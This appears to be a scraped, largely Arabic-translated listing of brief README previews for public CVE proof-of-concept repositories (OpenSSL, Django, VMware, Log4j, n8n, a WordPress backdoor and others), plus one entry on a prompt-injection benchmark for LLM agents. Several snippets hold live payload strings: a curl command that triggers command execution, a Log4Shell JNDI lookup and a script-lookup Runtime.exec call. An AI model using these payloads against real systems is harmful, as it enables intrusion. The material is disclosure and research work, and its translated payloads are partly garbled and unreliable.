CVE-2014-0224

عرض توضيحي لاستغلال OPENSSL CVE-2014-0224 MITM. المؤلف: @bluerust المدونة: http://hi.baidu.com/bluerust/item/bf2ab031bbadcf09cfb9fe41 الإصدار: 1.1 الوصف: مخصص لإصدارات openssl 1.0.1 فقط، وتم اختباره فقط مع تشفير RC4-SHA. أ. الخادم openssl sserver -debug -accept 443 -cert server.crt -certform PEM...

DjVul_StringAgg

Django CVE-2020-7471 SQLi CVE-2020-7471: إمكانية حقن SQL عبر StringAggdelimiter كانت دالة التجميع django.contrib.postgres.aggregates.StringAgg عرضة لحقن SQL، وذلك باستخدام محدد مُصمَّم بعناية. التشغيل python manage.py makemigrations python manage.py migrate python manage.py runserver المراجع...

CVE-2022-22954

CVE-2022-22954 إثبات المفهوم PoC ثغرة تنفيذ الأوامر عن بُعد RCE عبر حقن قوالب الخادم SSTI في VMware Workspace ONE Access و Identity Manager. CVE-2022-22954 - إثبات المفهوم PoC SSTI الاستخدام: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and ex...

Ivanti-Connect-Around-Scan

مدقق ثغرة الاتصال حول Ivanti مدقق ثغرة الاتصال حول Ivanti نظرة عامة الميزات أنواع الفحوصات الوصول عبر الويب معلومات النظام تم اكتشاف تجاوز شرح أنواع الحالات بدء الاستخدام المتطلبات الاستخدام الوسائط تحديد الهدف متغيرات مخصصة تنسيق المخرجات قائمة المهام إرشادات المساهمة الإبلاغ عن المشكلات تقديم...

POC_CVE-2025-14700

CVE-2025-14700 PoC لـ CVE-2025-14700 ، ثغرة من نوع حقن القوالب من جانب الخادم SSTI في Crafty Controller = 4.6.1. تسمح هذه الثغرة للمستخدمين المصادق عليهم بتنفيذ أوامر عن بعد RCE عن طريق حقن قوالب Jinja2 ضارة في تكوين Webhook. 📦 التثبيت Clone the repository git clone...

CVE-2022-22947-exp

CVE-2022-22947-exp تم إعادة إنتاج ثغرة CVE-2022-22947 وكتبت إكسبلویت لاستغلال الثغرة لاحقًا، بناءً على مقال من خبير، كتبت إكسبلویت لحقن شل الذاكرة، للعلم فقط...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 ووردبريس Weblizar باب خلفي curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

prompt_injection

Benchmark d'injection de prompt multi-surface Benchmark pour mesurer où, dans le pipeline d'exécution d'un agent LLM utilisant des outils, une défense contre l'injection de prompt se déclenche — et où elle ne le fait pas. Intègre des jetons canari uniques SECRET-A-F0-98 dans les charges utiles...

log4j2-issue-check

تقييم مشكلة Log4Shell: RCE 0-day يحتوي هذا المستودع على الكود لتقييم مشكلة Log4j2 CVE-2021-44228 مزيد من التفاصيل https://www.lunasec.io/docs/blog/log4j-zero-day/ كيفية الاختبار أرسل طلب GET مع معامل استعلام كالتالي $jndi:ldap://127.0.0.1:3089/...

CVE-2022-33980-POC

CVE-2022-33980 $script:js:java.lang.Runtime.getRuntime.exec"calc"...

CVE-2023-31702

CVE-2023-31702 — حقن SQL في eScan Management Console يتطلب مصادقة نظرة عامة CVE-2023-31702 هي ثغرة حقن SQL تتطلب مصادقة تم اكتشافها في MicroWorld Technologies eScan Management Console الإصدار 14.0.1400.2281. توجد الثغرة في نقطة الوصول GetUserCurrentPwd، حيث يتم تمرير المعامل UsrId مباشرة إلى...

CVE-2024-32640

CVE-2024-32640 PoC d'injection SQL basée sur le temps...

Blackash-CVE-2025-68613

🚨 CVE-2025-68613 — ثغرة RCE حرجة في n8n الخطورة: 🔴 حرجة الأثر: تنفيذ تعليمات برمجية عن بُعد المنصة المتأثرة: n8n أتمتة سير العمل 🧩 نظرة عامة تُعد CVE-2025-68613 ثغرة أمنية حرجة في n8n ، وهي منصة أتمتة سير عمل مفتوحة المصدر. تسمح هذه الثغرة لمهاجم مُصادَق بتنفيذ تعليمات برمجية عشوائية على الخادم ع...

CVE-2019-25065-exploit

CVE-2019-25065 - POC Ceci est un POC de CVE-2019-25065 - Injection de commande OS dans OpenNetAdmin v18.1.1 L'exploit est écrit en bash, il prend en charge l'environnement Linux. a été testé sur Kali Linux 2024.4 et Ubuntu 22.04.5 LTS dépendances : paquet debian gridsite-clients...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - تنفيذ التعليمات البرمجية عن بُعد RCE استغلال حقن القالب من جانب الخادم!! 1. العنوان تنفيذ التعليمات البرمجية عن بُعد عبر حقن القالب من جانب الخادم SSTI في تطبيق ويب معرّض للثغرة 2. الوصف يستهدف هذا الاستغلال تطبيق ويب معرّضًا لثغرة حقن القالب من جانب...

CVE-2026-30951

CVE-2026-30951 Injection SQL via le cast JSON de Sequelize ★ CVE-2026-30951 PoC d'injection SQL dans l'ORM Sequelize ★ https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381 Aperçu CVE-2026-30951 est une vulnérabilité d'injection SQL dans Sequelize v6 , un ORM Node.js...

CVE-2025-58360

CVE-2025-58360 해당 취약점은 CVE-2025-58360CVSS 점수: 8.2으로, 2.25.5 이하 모든 버전과 2.26.0부터 2.26.1까지의 버전에 영향을 미치는 인증되지 않은 XML 외부 엔티티XXE 결함입니다. 이 취약점은 2.25.6, 2.26.2, 2.27.0, 2.28.0, 2.28.1 버전에서 패치되었습니다. 인공지능AI 기반 취약점 발견 플랫폼인 XBOW가 이 문제를 신고한 것으로 인정되었습니다. 이 탐지 방법은 어떻게 작동하나요? 이 스크립트는 헤더에서 마지막 업데이트 날짜를 확인하고, 공급업체...

CVE-2025-26055

CVE-2025-26055 وصف CVE المؤلف: Rohan Deshpande حقن أوامر نظام التشغيل الملخص حقن أوامر نظام التشغيل هو ثغرة أمنية تسمح لمهاجم بتنفيذ أوامر عشوائية على نظام تشغيل المضيف من خلال تطبيق ضعيف. يمكن أن يؤدي هذا إلى وصول غير مصرح به، خروقات بيانات، وتسوية النظام. التأثير يمكن أن يشمل تأثير حقن أوامر نظ...

django_sqli_target_CVE-2025-64459

لا يحتوي هذا المستودع على ملف README...

cve-2024-10914-port

CVE-2024-10914 porté en rust et python parce que pourquoi pas de quoi s'agit-il cve-2024-10914 est une vulnérabilité récemment découverte avec un score critique de 9,8 qui affecte certains routeurs dlink. parce que ces routeurs ont atteint leur fin de support, dlink refuse de corriger cette...